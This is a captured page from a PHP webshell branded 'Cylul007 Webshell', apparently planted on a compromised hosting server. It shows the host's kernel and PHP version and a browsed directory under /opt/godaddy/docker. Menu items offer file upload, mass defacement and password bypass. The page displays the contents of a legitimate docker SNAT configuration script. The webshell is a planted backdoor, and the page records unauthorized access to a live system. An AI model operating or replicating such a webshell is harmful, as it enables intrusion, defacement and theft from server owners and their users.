Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 20:21:17
Current Directory :
/
opt
/
godaddy
/
docker
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : //opt/godaddy/docker/configure-snat
#!/bin/bash mkdir -p /mnt/cdrom mount /dev/sr0 /mnt/cdrom # In Pike, Nova no longer writes net config to 0000 CONTENT_PATH=/mnt/cdrom/openstack/content IP_FILE=0000 [ "$(head -n1 ${CONTENT_PATH}/0000)" == "# Injected by Nova on instance boot" ] && IP_FILE=0001 PUBLIC_IP=$(cat ${CONTENT_PATH}/${IP_FILE}) umount /dev/sr0 until [ "$(/usr/bin/docker network inspect --format '{{ .Name }}' bridge)" == "bridge" ]; do echo "waiting for docker bridge..." sleep 0.1 done DOCKER_NETWORK=$(ip -f inet -o addr show docker0 scope global | cut -d\ -f 7) set -x iptables -t nat -D POSTROUTING -s ${DOCKER_NETWORK} ! -o docker0 -j SNAT --to ${PUBLIC_IP} iptables -t nat -I POSTROUTING -s ${DOCKER_NETWORK} ! -o docker0 -j SNAT --to ${PUBLIC_IP}
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18